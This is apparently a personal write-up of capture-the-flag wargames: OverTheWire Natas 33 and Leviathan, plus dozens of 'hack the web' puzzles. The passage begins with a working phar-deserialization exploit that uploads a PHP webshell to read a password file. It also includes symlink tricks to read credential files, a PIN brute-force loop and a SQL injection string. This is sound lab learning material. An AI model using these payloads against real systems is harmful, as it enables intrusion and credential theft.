md5_file("phar://exploit.phar/b");
// 1. 打开 phar 文件
// 2. 解析 Manifest
// 3. 反序列化 metadata → 触发 __destruct() → 攻击开始

Step 1 — Upload a PHP webshell:

1
echo '<?php echo file_get_contents("/etc/natas_webpass/natas34"); ?>' > /tmp/shell.php
1
2
3
4
curl -s -u natas33:<credential-redacted> \
-F 'filename=shell.php' \
-F 'uploadedfile=@/tmp/shell.php' \
'http://natas33.natas.labs.overthewire.org/index.php'

Step 2 — Generate a phar file whose metadata sets filename=shell.php and signature=<MD5 of shell.php>:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export SIG=$(md5sum /tmp/shell.php | cut -d' ' -f1)
php -d phar.readonly=0 << 'PHAREOF'
<?php
class Executor {
public $filename = "shell.php";
public $signature = "";
public $init = False;
}
$e = new Executor();
$e->signature = getenv('SIG');
if (!is_string($e->signature) || !preg_match('/^[0-9a-f]{32}$/D', $e->signature)) {
throw new RuntimeException('SIG must contain the shell.php MD5 digest');
}
$f = "/tmp/exploit.phar";
@unlink($f);
$p = new Phar($f, 0, "x.phar");
$p->setSignatureAlgorithm(Phar::SHA1);
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->setMetadata($e);
$p->addFromString("b", "b");
$p->stopBuffering();
PHAREOF

Step 3 — Upload the phar, then trigger deserialization via phar://:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Upload phar as regular file
curl -s -u natas33:<credential-redacted> \
-F "filename=exploit.phar" \
-F "uploadedfile=@/tmp/exploit.phar" \
'http://natas33.natas.labs.overthewire.org/index.php'

# Trigger phar deserialization — filename=phar://./exploit.phar/b
# The constructor fails to save (path with ://), but destructor
# chdir to /natas33/upload/ and calls md5_file("phar://./exploit.phar/b")
# which opens the phar, deserializes metadata, overwriting $filename
# and $signature, then md5_file("shell.php") matches and runs passthru
curl -s -u natas33:<credential-redacted> \
-F "filename=phar://./exploit.phar/b" \
-F "uploadedfile=@/dev/null;filename=x;type=text/plain" \
'http://natas33.natas.labs.overthewire.org/index.php'

该路径依赖 PHP 8.0 之前的 PHAR metadata 自动反序列化行为。PHP 8.0 起,通过 phar:// 打开文件不会自动反序列化 metadata,显式调用 Phar::getMetadata() 仍可反序列化。phar.readonly 限制创建或修改 PHAR,不禁止读取;phar 流包装器默认仍注册。生成端用 phar.readonly=0 写入文件,不能据此判断目标端是否可利用。这里仅核对环境变量传值及 PHP 8 行为,未执行上传或目标析构链。

[credential redacted]

level 33->level 34

1
2
http://natas34.natas.labs.overthewire.org/
Congratulations! You've completed Natas!

leviathan

leviathan.labs.overthewire.org 2223

level 0 → level 1

1
2
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep pass
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is <credential-redacted>" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
[credential redacted]

level 1 → level 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
leviathan1@leviathan:~$ strings check
td8
secr
love
password:
/bin/sh
Wrong password, Good Bye ...

leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffdb84, 0 <unfinished ...>
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67password: asd
) = 97
getchar(0, 97, 0x786573, 0x646f67) = 115
getchar(0, 0x7361, 0x786573, 0x646f67) = 100
strcmp("asd", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++

password: sex

$ cat /etc/leviathan_pass/leviathan2
[credential redacted]

level 2 → level 3

leviathan2 has a setuid binary printfile that prints files — but it has a space-handling bug. If a filename contains a space, it runs /bin/cat on each part separately. Create a symlink to /etc/leviathan_pass/leviathan3 with a space in the name.

1
2
3
4
5
6
7
8
9
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ls -la
total 1360
drwxrwxrwx 2 leviathan2 leviathan2 4096 Aug 7 12:42 .
drwxrwx-wt 7322 root root 1384448 Aug 7 12:43 ..
lrwxrwxrwx 1 leviathan2 leviathan2 30 Aug 7 12:42 tmp -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Aug 7 12:42 t tmp

leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ~/printfile 't tmp'
/bin/cat: t: No such file or directory
[credential redacted]

level 3 → level 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xffffdb84, 0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> asd
"asd\n", 256, 0xf7fab5c0) = 0xffffd95c
strcmp("asd\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++

password:snlprintf

leviathan4@leviathan:~$ cat /etc/leviathan_pass/leviathan4
[credential redacted]

level 4 → level 5

Binary in .trash directory reads the password file and outputs it as binary (ASCII 0s and 1s). Decode to ASCII.

1
2
3
4
5
leviathan4@leviathan:~/.trash$ ./bin
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010

# Decode binary to ASCII
leviathan4@leviathan:~/.trash$ ./bin | python3 -c "import sys; print(''.join(chr(int(b,2)) for b in sys.stdin.read().strip().split()))"
[credential redacted]

level 5 → level 6

leviathan5 reads /tmp/file.log. Create a symlink to the password file.

1
2
3
4
5
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log

leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
[credential redacted]

level 6 → level 7

leviathan6 takes a 4-digit code as argument. Brute force the PIN.

1
2
3
4
5
6
7
8
9
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>

leviathan6@leviathan:~$ for i in $(seq 1000 9999); do ./leviathan6 $i 2>/dev/null | grep -v Wrong; done

$ id
uid=12007(leviathan7) gid=12006(leviathan6) groups=12006(leviathan6)
$ bash
leviathan7@leviathan:~$ cat /etc/leviathan_pass/leviathan7
[credential redacted]

level 7

1
2
3
leviathan7@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the game on the web. Thank you!)

hack the web

challenge 0 start

The Answer to the Great Question… Of Life, the Universe and Everything… Is… Forty-two.

42

challenge 5 lemon juice

ctrl a, the word with revel

invisible

challenge 15 username

reverse of your username

vkkkv

if you cant read the word

marvelous

challenge 110 calculator

2x2x2x2x2x2x2x2

challenge 111 calculator II

2x5x2x5...

challenge 116 calculator III

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➤ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 15876/2
7938
; 7938/2
3969
; 3969/9
441
; 441/7
63
; 63/3
21

challenge 336 minecraft

id of bedrock

7

challenge 337 minecraft II

redstone

challenge 337 minecraft III

Redstone Repeater

356

challenge 113 minecraft IV

command time

/time set midnight

challenge 68 painting

https://en.wikipedia.org/wiki/Leonardo_da_Vinci

1452

challenge 16 note

https://hack.arrrg.de/important_note.txt

spelling

challenge 4 ascii

35 97 117 114 97

translate with ascii table

or

1
2
3
4
$ vim tmp.lua
print(string.char(35, 97, 117, 114, 97))

$ lua tmp.lua
#aura

challenge 6 html

click botton

i use zen browser btw so i tap ctrl+shift+i to check source code

Abtauchen

challenge 7 html II

same as challenge 6 skip

challenge 80 animation

same as above

but open the network tab and find request with answer= in body

change to answer=TRANSITION and resend request

challenge 86 fragil

change name to Yoshi

Editor

challenge 63 cheater

del window.score = 0

change all indow.score++ to window.score+=1000

update, when crash happen, answer will revel.

smurfen

challenge 51 binary

count 7 in binary

or

1
2
➤ python
>>> bin(7)
111

challenge 30 unix timestamp

1
2
➤ date -d @817876800
1995-12-02 12:00:00
1995

challenge 32 tube II

1
2
3
4
5
6
7
8
9
10
11
➤ factor 1337
1337: 7 191
09:56:08 ~
➤ factor 191
191: 191
09:56:15 ~
➤ factor 190
190: 2 5 19
09:57:16 ~
➤ factor 18
18: 2 3 3

challenge 37 emoji

copy from emojicopy

😀

challenge 53 quiz

change var in js script

correct=2000

challenge 67 ports

ETHERNET

challenge 58 elements

elements

egghead

challenge 81 forms

source code, input with out action

comicsans

challenge 39 flags

translate from International maritime signal flags

HOHESEE

challenge 8 hard work

1
2
3
4
5
6
7
✗ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + 10
55

or

\((1+10) \times 5\)

Arithmetic progression

55

challenge 9 hard work II

1
2
3
4
5
6
➤ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 1 + 2 + 3 + 4 + 5 + 95 + 96 + 97 + 98 + 99
500

challenge 10 hard work III

Arithmetic progression

1
2
3
4
5
6
➤ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 101*50
5050

challenge 18 rot13

terng lbh unir fhpprffshyyl qrpbqrq gur grkg nf n erjneq lbh abj trg gur nafjre naq vg vf fcvrtryovyq (gur trezna jbeq sbe zveebe vzntr)

drag circle

or

i use vim btw, so i copy the string to vim and press g?? to tr rot13

great you have successfully decoded the text as a reward you now get the answer and it is spiegelbild (the german word for mirror image)

spiegelbild

challenge 2 finger code

learn from fingeralphabet

HALLO

challenge 41 cross reading

open source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<p>
<!-- noinspection SpellCheckingInspection -->
<em>
<strong>T</strong>he hours stretch before the glowing screen.<br>
<strong>H</strong>uman language is so imprecise.<br>
<strong>E</strong>verything depends on clarity.<br>
<strong>A</strong>nd clarity emerges through code's decree.<br>
<br>
<strong>N</strong>ow is the moment, a canvas to create,<br>
<strong>s</strong>culpting worlds in the digital state.<br>
<strong>W</strong>ith every line, a universe unfurls.<br>
<strong>E</strong>ager minds contemplate the code's weight.<br>
<br>
<strong>R</strong>evealing secrets in each algorithm's dance,<br>
<strong>i</strong>n the binary, we find our cosmic trance. <br>
<strong>S</strong>ynchronizing bytes in a digital romance: <br>
<br>
<strong>S</strong>eeking clarity, as we advance.<br>
<strong>T</strong>apping keys, we're bound to transcend,<br>
<strong>e</strong>levating thought, in this realm we intend,<br>
<strong>n</strong>urturing ideas, our journey won't end,<br>
<strong>o</strong>ffline is good, but online is better.
</em>
</p>

THEA NSWE RIS STENO

STENO

challenge 28 ads

use ublock

Litfaßsäule

challenge 79 suspicious

secure-bank-login.com

challenge 64 smiley

run in console

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
                  const d = [68,
105, 101,
32, 65,
110, 116,
119, 111,
114, 116, 32, 108,
97, 117, 116, 101,
116, 32, 75, 111,
114, 111,
115, 101,
110, 115 , 101,
105 ,46 ]; const
e = d .map( (x
)=> String.fromCharCode(x)) .join
('' )
/* x
x x
xxxxx xxx*/
window.alert(e)
korosensei

challenge 47 progressbar

in console

for(let i = 0; i < 999; i++) work(true)

challenge 27 tactility

learn about Braille

licht

challenge 87 scratch

play game in scratch

miau

challenge 52 binary II

1
2
3
4
5
➤ python
Python 3.13.5 (main, Jun 21 2025, 09:35:00) [GCC 15.1.1 20250425] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bin(45)
'0b101101'

challenge 60 scan me

scan qrcode, i use qrazybox btw

Final Decoded string : I start with the letter Z. I have the same colors as a QR code. Who am I?

i expect thats a letter about color in german, but not

zebra

challenge 45 characters

サンドイッチ a カタカナ

sandwich

challenge 59 secret text

its easy to manual decrypt

julian

challenge

press ctrl p in browser

or

search source code

1
<p class="print-only">The answer is ????????????.</p>
tintenstrahl

challenge 29 gps code

google earth copy and paste

52.7073, 8.5031 Barnstorf

48.63253, 12.85515 Eichendorf

50.9761, 8.8677 Rosenthal

53.2724, 12.824 Mirow

48.0336, 7.7649 Umkirch

49.59637, 11.11833 Dormitz

53.679, 10.6947 Albsfelde

bermuda

challenge 62 file

source code

1
<p><img src="/chals/chal62_placeholder.png" style="background:white; max-width: 200px" alt="placeholder"/></p>

change name to png

himmelblau

challenge 48 silence

word at end of the audio

sweet

challenge 26 time machine

acheive

challenge 50 Pigpen cipher

learn about Pigpen cipher

geheimnis

challenge 25 russian dolls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

recursive_unzip() {
for file in "$1"/*; do
if [ -f "$file" ]; then
case "$file" in
*.7z|*.zip|*.rar|*.tar|*.gz|*.bz2)
dir="${file%.*}"
mkdir -p "$dir"
7z x -o"$dir" "$file" > /dev/null
recursive_unzip "$dir"
;;
esac
fi
done
}

recursive_unzip "."
1
2
➤ find . -type f -not -regex ".*.zip" | xargs grep -i antwort
Die Antwort auf diese Aufgabe lautet Matrjoschka.
Matrjoschka

challenge 70 karol

drag stuff like pic then start

16

challenge 42 catchy tune

use shazam

Lost on you

challenge 3 at sea

downlaod audio file and open in audacity

transalte with cyberchef

mayday

challenge 57 passage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
24
Nicht blinzeln

37
Emoji

30
UNIX Zeitstempel

68
Gemälde

84
Inception

58
Elemente

31
Röhre
NEUGIER

challenge 88 sum

1
2
3
4
5
6
7
8
9 	8 	19 	2 	7 	16 	11
18 12 13 1 14 20 3
10 6 17 5 4 15 21
23 22 26 29 24 2 27
25 30 42 33 35 34 21
43 52 45 17 47 33 49
50 11 25 45 54 27 56
23 22 26 29 24 28 27

i use vim btw, so i use

1
2
3
4
s/ \t/+/g
and
s/\n/+/g
then calc
1
2
3
4
5
6
➤ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 9+8+19+2+7+16+11+18+12+13+1+14+20+3+10+6+17+5+4+15+21+23+22+26+29+24+2+27+25+30+42+33+35+34+21+43+52+45+17+47+33+49+50+11+25+45+54+27+56+23+22+26+29+24+28+27
1337

challenge 82 guide

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➤ dig hack.arrrg.de TXT

; <<>> DiG 9.20.10 <<>> hack.arrrg.de TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44260
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;hack.arrrg.de. IN TXT

;; ANSWER SECTION:
hack.arrrg.de. 900 IN TXT "Die Antwort lautet ?????????."

;; Query time: 463 msec
;; SERVER: 192.168.1.1#53(192.168.1.1) (UDP)
;; WHEN: Thu Jul 10 10:25:21 HKT 2025
;; MSG SIZE rcvd: 73
subdomain

challenge 85 snow here

download img and decode with link in the img

challenge 46 headers

in headers x-antwort

challenge 74 blockchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib

def find_n():
n = 1
target = "000000"
while True:
s = "hacktheweb" + str(n)
hash_value = hashlib.md5(s.encode()).hexdigest()
if hash_value.startswith(target):
print(hash_value)
print(n)
return n
n += 1

if __name__ == "__main__":
result_n = find_n()
1688157

challenge 95 handwriting

download fontfile and check

i use fontforge btw

kalligraph

challenge 40 terminal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# to GOP/053/vjer

> cat vjer
Hmm, have a look in GDA/644/sdvd

> cat sdvd
Oops, I meant GDA/644/dnei

> cat dnei
It is worth looking in the directory ZFD, in it the directory with the highest number, and in it the alphabetically first file.

> cat fgst
The answer to this task is the content of the file SHY/666/pfpz

> cat pfpz
????????????????????
Sonne Garten ist wir

challenge 38 metadata

download img and check

1
2
3
4
➤ exiftool chal38-en.jpg
...
Image Description : The answer is: ??????????????? (exposure time in german)
...
belichtungszeit

challenge 100 nostalgia

i use hackbar btw, change User Agent and execute

1
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
quirky

challenge 76 timeframe

1
2
3
4
5
6
7
8
9
➤ TZ='Europe/Berlin' date -d "???????????????????" +%s
time1

➤ TZ='Europe/Berlin' date +%s
time2

time1-time2
/60

challenge 94 original

i use google image btw, oldest link to unsplash is target

Rachel

challenge 91 cookies

wait and then check cookies

i use cookie-editor btw, a browser extension

glutenfrei

challenge 104 transition

solve as a labyrinth

leben

challenge 106 leet

use hint link

1
2
3
4
5
bu7 07h3r p30pl3 w4n7 70 m4k3 7h31r 5k1ll5 v151bl3 - 4nd 7h3r3f0r3 wr173 7h31r m3554635 1n l337.

7|-|3|23 4|23 |)!|=|=3|23|\|7 |_3\/3|_5 4|\||) \/4|2!4|\|75 0|= |_337 - |=|20/\/\ 345!|_`/ |234|)4|3|_3 70 7074|_|_`/ (|2`/|D7!(.

`/0|_||2 4|\|5\|/3|2 !5 |_|1+!|\/|4+!\/.

basic

1
2
3
4
5
but other people want to make their skills visible - and therefore write their messages in leet.

t|-|e|2e a|2e |)!|=|=e|2e||t |_e/e|_s a|||) /a|2!a||ts o|= |_eet - |=|2o// eas!|_`/ |2ea|)a|e|_e to tota|_|_`/ (|2`/|Dt!(.

`/o|_||2 a||s|/e|2 !s |_|i+!|/|a+!/.

ultimate

1
2
3
4
5
bu7 o7her people wan7 7o make 7helr skllls vlslble - and 7herefore wrl7e 7helr messages ln lee7.

7here are di|=|=ere||7 |_e/e|_s a||d /aria||7s o|= |_ee7 - |=ro// easi|_y reada|e|_e 7o 7o7au_y cry|D7ic.

your a||s|/er is ulti|/|ati/.

there are different levels and variants of leet from easily readable to tota...

notice its a german word

ultimativ

challenge 92 constitution

1
2
3
4
5
6
7
8
9
10
11
➤ cat tmp|sed "s/ /\n/g" |sed "s/\,//g" | sed "s/\.//g"| sort |uniq -c | sort -nr |head
32 und
28 der
22
18 die
13 zu
10 Recht
10 in
10 Die
10 den
9 werden
recht

challenge 98 sql tutorial

1
1 'or 1=1 --

challenge 108 language

change request header

1
Accept-Language: fr-FR, fr

challenge 105 1337

i use vim btw, so i type

1
1337ia<esc>

then copy

challenge 101 factors

learn about factor

1
2
➤ factor 864186418888888888802470247
??????????????????????????????????????????????????????????

challenge 109 brainfuck

i use link

challenge 75 raffle

the target contains !

1
2
3
16:37:49 ~/Downloads/raffle
➤ grep "\!" ./*
./724.txt:You have won! The answer is ???????!
Tombola

challenge 89 bookmarks

click href and record letter

heimat

challenge 65 game save

1
2
3
4
5
6
function update() {
let gold = parseInt(document.getElementById('gold-span').innerHTML);
gold = gold + 1
document.getElementById('gold-span').innerHTML = gold.toString()
document.getElementById('score').innerHTML = btoa(JSON.stringify({gold:gold}))
}

in browser console

1
2
3
gold=999999

btoa(JSON.stringify({gold:gold}))
eyJnb2xkIjo5OTk5OTl9

challenge 44 progressbar II

in console

1
2
3
for (let i = 0; i <100000; i++) {
work(true);
}
LIFEISPROGRESS

challenge 49 game save II

1
2
3
4
5
6
➤ xxd -r -p a |openssl enc -d -aes-128-ecb -K "786d229b0de877774a2f676d5bd895c3"
{"player":"John","gold":13}%

➤ xxd -r -p a |openssl enc -d -aes-128-ecb -K "786d229b0de877774a2f676d5bd895c3" | sed "s/13/999999/" | openssl enc -aes-128-ecb -K "786d229b0de877774a2f676d5bd895c3" | xxd -p
????????????????????????????????????????????????????????????
????
cc76663b7d1e97ea2455b1c25676f44719eef255df267576ba11d0aafe1eed67

challenge 115 r/place

calc coordinate and use gimp

1
2
3
4
5
6
7
8
9
➤ calc
C-style arbitrary precision calculator (version 2.15.1.1)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]

; 1500+1286
2786
; 1000+225
1225
touhou hijack

challenge 119 password

i dont know Taylor, so i make a dict and fuzz with zap

but it seem easy to guess password

lovestory

challenge 120 password II

just google swedish chess youtube

challenge 117 treasure chamber

lrllr

back rlrrl

challenge 73 phone number

learn about DTMF

you can use your golden ear find the key

or

i use audacity btw, open audio file select a field, click analyze -> plot spectrum

contrast two peaks with wiki

1337

challenge 103 background

search source code in map, theres a element under this challenge

challenge 83 freedom

i use zap fuzz 0-999, interval 10000ms

stupid but simple

274

challenge 43 post it

modify post date

1
answer=Klamauk

challenge 93 cipher

1
2
3
4
a = "6d45454e0a4045480b0a7e424f0a4b44595d4f580a43590a6b6f7904"
b = bytes.fromhex(a)
c = [byte ^42 for byte in b]
print(bytes(c).decode())
aes

challenge 90 oracle

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

URL="https://hack.arrrg.de/chal/orakel"
LOG_FILE="orakel_monitor.log"
touch "$LOG_FILE"

while true; do
TIMESTAMP=$(date +"%Y-%m-%d %H:%M:%S")
echo "[$TIMESTAMP] $URL" >> "$LOG_FILE"
curl -s "$URL" 2>&1 | tee -a "$LOG_FILE"
sleep 900
done

wait a day

1
2
➤ cat orakel_monitor.log| sed "s/\[.*l//g" | sort | uniq -u
??????????????????????????
Delphi

challenge 97 cipher II

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a = "4c314c205f37542d4c3819345c274f2c01781d79072a44205d38502f0266183556344d600c631d7f1e661f7716624f3159374f30587b56137b046c46381561037b0429452658224a35022f70146a0e680a29"
b = bytes.fromhex(a)

for key in range(0,255):
previousOutput = 0
output_bytes = []
for d in b:
current_key = previousOutput ^ key
decrypted_byte = d ^ current_key
previousOutput = d
output_bytes.append(decrypted_byte)
s = bytes(output_bytes).decode()
if "answer" in s.lower():
print(f"{key}, {s}")
break

# The byte in b equals xor_byte in the source.
# Thus previousOutput = byte.
1
2
➤ python tmp.py
13, Apparently, even this cipher is not absolutely secure. Here's your answer: ??????.
Risiko

challenge 102 cipher III

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a="59176f2b4e4f377f1a5f7427431631306d294b066e2749062d7f1d523d3c55187226010051056d27491a317901547f2de578b00e29285619767715573435591d74301b5b2562474609412f2e642b540266354a4b2c6c1247297c5736030f2925101c3a36030f2925"
b=bytes.fromhex(a)

def cipher_iii(key1,key2,input_bytes):
previousOutput = 0
output_bytes = []
for i, d in enumerate(input_bytes):
k = key1 if i % 2 == 0 else key2
current_key = previousOutput ^ k
xor_byte = d ^ current_key
output_bytes.append(xor_byte)
previousOutput = d
s = bytes(output_bytes).decode(errors='ignore')
if "antwort" in s.lower():
print(s.lower())

for key1 in range(0,255):
for key2 in range(0,255):
cipher_iii(key1,key2,b)

rosen sind rot, veilchen sind blau, zucker ist süß, und ich gebe auf. die antwort lautet ?????????????

@>--->--->---

challenge username III

i have a server btw

1
2
3
4
5
6
from http.server import HTTPServer, BaseHTTPRequestHandler as Handler
USERNAME = "your_username_here"
Handler.do_GET = lambda self: [self.send_response(200),
self.end_headers(),
self.wfile.write(USERNAME.encode())]
HTTPServer(('', 8000), Handler).serve_forever()

challenge 107 new territory

1
✗ nmap 198.18.8.233 -p 40000-41000 -sV

Mutige Entdecker, hier ist der Schatz: ?????????

unberührt

challenge 316 osint

google earth btw

germany Rosenheim

walk around

challenge 72 maze

draw a map

i use krite btw

with mesh line

challenge 71 say it

first use stt tool get a text have some problem

i use evernote btw

second check text with listen audio

fix the mistake

then convert to png

1
➤ cat tmp.txt | sed 's/\r//g' | tr -s ' ' '\n' | awk '$1 != "" {printf "%02x", $1}' | xxd -r -p > tmp.png
wtf

here my text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
137 80 78 71 13 10 26 10 0 0 0 13 73 72 68 82 0 0 0 30 0 0 0 12 8 2 0 0 0 250 76
154 101 0 0 1 111 105 67 67 80 105 99 99 0 0 40 145 117 145 59 75 3 65 20 133
191 108 148 136 70 82 40 40 98 145 66 197 34 130 40 136 165 198 194 38 136 68 5
163 54 201 102 147 8 217 100 217 77 16 177 21 108 44 4 11 209 198 87 225 63 208
86 176 85 16 4 69 16 177 242 7 248 106 36 172 119 92 33 65 146 89 102 239 199
153 57 151 153 51 160 197 242 186 233 52 13 131 89 40 217 241 233 104 120 49 177
20 14 188 162 17 32 72 23 254 164 238 88 147 179 179 49 26 142 175 123 124 170
222 13 169 94 141 247 213 29 109 105 195 209 193 215 34 60 166 91 118 73 120 66
56 182 86 178 20 111 11 119 234 185 100 90 248 72 56 98 203 1 133 175 149 158
242 248 69 113 214 227 15 197 246 124 124 10 52 213 51 156 173 225 84 13 235 57
219 20 30 20 238 51 243 101 253 239 60 234 38 65 163 176 48 39 181 71 102 47 14
113 166 137 18 38 69 153 85 242 148 24 146 90 144 204 234 251 134 127 125 51 20
197 163 203 223 98 29 91 28 89 114 226 141 136 90 150 174 134 212 140 232 134
124 121 214 85 238 255 243 116 50 163 35 94 247 96 20 154 159 93 247 189 31 2
187 80 217 113 221 239 99 215 173 156 128 255 9 46 11 85 127 81 114 26 255 20
125 167 170 245 29 66 104 19 206 175 170 90 106 15 46 182 160 251 209 74 218 201
95 201 47 83 203 100 224 237 12 218 19 208 113 11 173 203 94 86 127 235 156 62
192 252 134 60 209 13 236 31 192 128 236 15 173 252 0 114 238 103 201 164 67 205
207 0 0 0 9 112 72 89 115 0 0 46 35 0 0 46 35 1 120 165 63 118 0 0 3 121 73 68
65 84 56 203 85 83 75 139 29 69 20 62 245 234 238 219 247 61 119 94 241 206 196
113 92 68 133 68 9 4 21 87 130 75 23 66 208 31 144 133 110 140 16 17 18 55 34
186 208 197 44 116 16 84 92 185 16 252 5 46 3 130 196 100 80 209 40 145 144 48
153 151 51 115 239 220 103 223 190 125 187 187 170 206 177 58 217 232 89 20 95
125 117 234 84 157 239 171 98 191 199 239 231 34 106 140 128 238 144 236 81 169
15 81 4 119 12 87 107 149 245 151 130 106 69 134 147 160 38 207 202 242 10 29
220 55 199 29 19 103 51 202 204 114 62 171 39 106 88 126 208 138 14 231 237 4
144 199 172 149 73 133 216 190 13 254 33 101 90 200 125 53 137 193 176 10 59 174
251 185 135 75 104 143 42 44 79 196 217 85 171 203 152 112 237 79 108 118 247 86
90 255 165 180 160 152 36 212 72 42 151 76 151 6 164 167 217 252 152 245 82 76
22 73 19 77 185 225 129 24 46 224 226 17 101 100 229 88 155 8 73 39 216 210 70
14 196 78 75 25 195 22 140 154 91 17 70 217 12 153 57 140 163 125 211 126 99 51
254 241 106 73 202 82 77 154 0 35 129 152 17 76 243 167 95 255 4 30 198 167 127
95 153 105 4 13 163 6 219 62 7 141 61 46 89 66 0 164 53 216 17 94 232 8 255 113
198 115 238 46 199 60 158 42 75 51 232 119 181 1 116 155 37 71 24 219 145 129
158 128 100 66 251 117 227 77 139 162 91 95 94 235 215 205 189 30 78 20 104 77
65 238 137 161 109 97 200 110 116 222 100 37 122 177 246 205 15 63 191 189 230
151 65 27 239 8 3 139 43 23 63 223 74 222 163 158 121 254 244 103 240 159 184
181 245 238 34 103 179 93 246 204 197 13 248 127 108 252 116 181 170 131 249 172
238 119 77 107 162 100 77 0 216 98 161 217 14 120 88 45 39 185 55 76 104 154 59
166 148 100 73 31 110 126 251 214 236 21 120 185 253 245 7 183 47 175 107 160
166 117 45 101 17 255 254 187 119 158 170 195 115 175 110 254 182 121 205 227
190 173 201 30 199 149 64 84 187 193 201 56 117 150 112 161 92 251 174 60 48 89
141 41 92 61 253 81 247 201 202 94 187 96 162 220 199 145 231 63 225 229 42 116
83 227 68 171 64 191 74 59 53 58 114 229 207 96 122 78 57 94 61 38 120 136 1 225
18 137 100 77 79 253 97 60 138 163 105 34 157 105 126 33 183 211 219 70 193 216
129 147 176 116 88 47 152 177 80 44 48 188 21 158 120 230 97 2 204 128 117 138
14 121 88 231 105 83 222 171 20 55 216 59 163 91 127 81 121 38 213 121 38 233 68
118 150 204 131 102 198 52 8 144 114 110 219 25 88 164 119 104 144 83 201 129
157 44 30 167 204 129 63 199 125 191 230 149 173 63 155 21 54 106 208 195 152 50
159 121 178 52 109 130 31 132 58 47 248 253 229 204 140 169 189 99 74 49 111 221
197 110 106 18 159 149 211 80 6 26 248 164 200 120 109 237 139 71 110 92 90 255
248 17 56 56 38 161 140 80 86 218 226 164 141 23 190 114 227 135 127 92 242 171
10 153 82 238 41 219 162 155 153 197 227 54 150 7 86 198 16 78 216 179 8 120 138
9 36 118 163 123 121 245 166 238 117 233 250 10 91 62 31 236 222 23 209 152 165
152 163 50 232 33 10 4 238 4 32 198 109 62 69 219 135 90 69 54 78 85 68 160 40
87 232 229 40 116 99 64 231 83 59 96 148 100 172 61 97 115 41 180 84 32 52 201
95 133 119 189 169 178 26 201 114 233 159 93 197 50 12 57 15 69 133 124 147 170
52 161 212 73 76 41 186 191 44 172 112 223 32 80 141 192 148 29 70 11 89 228 139
169 165 92 31 172 154 3 79 15 7 180 13 108 157 139 11 146 120 150 255 11 71 102
248 173 20 167 222 145 0 0 0 14 101 88 73 102 77 77 0 42 0 0 0 8 0 0 0 0 0 0 0
210 83 147 0 0 0 0 73 69 78 68 174 66 96 13O

hack the web

level TS01

1
2
3
4
5
const zahl = 13

if (13 = zahl) {
console.log('Lieblingszahl!')
}
1
2
3
4
5
const zahl = 13

if (13 == zahl) {
console.log('Lieblingszahl!')
}

level TS02

1
2
3
4
5
const alter = 15

if (alter 18) {
console.log('Kind')
}
1
2
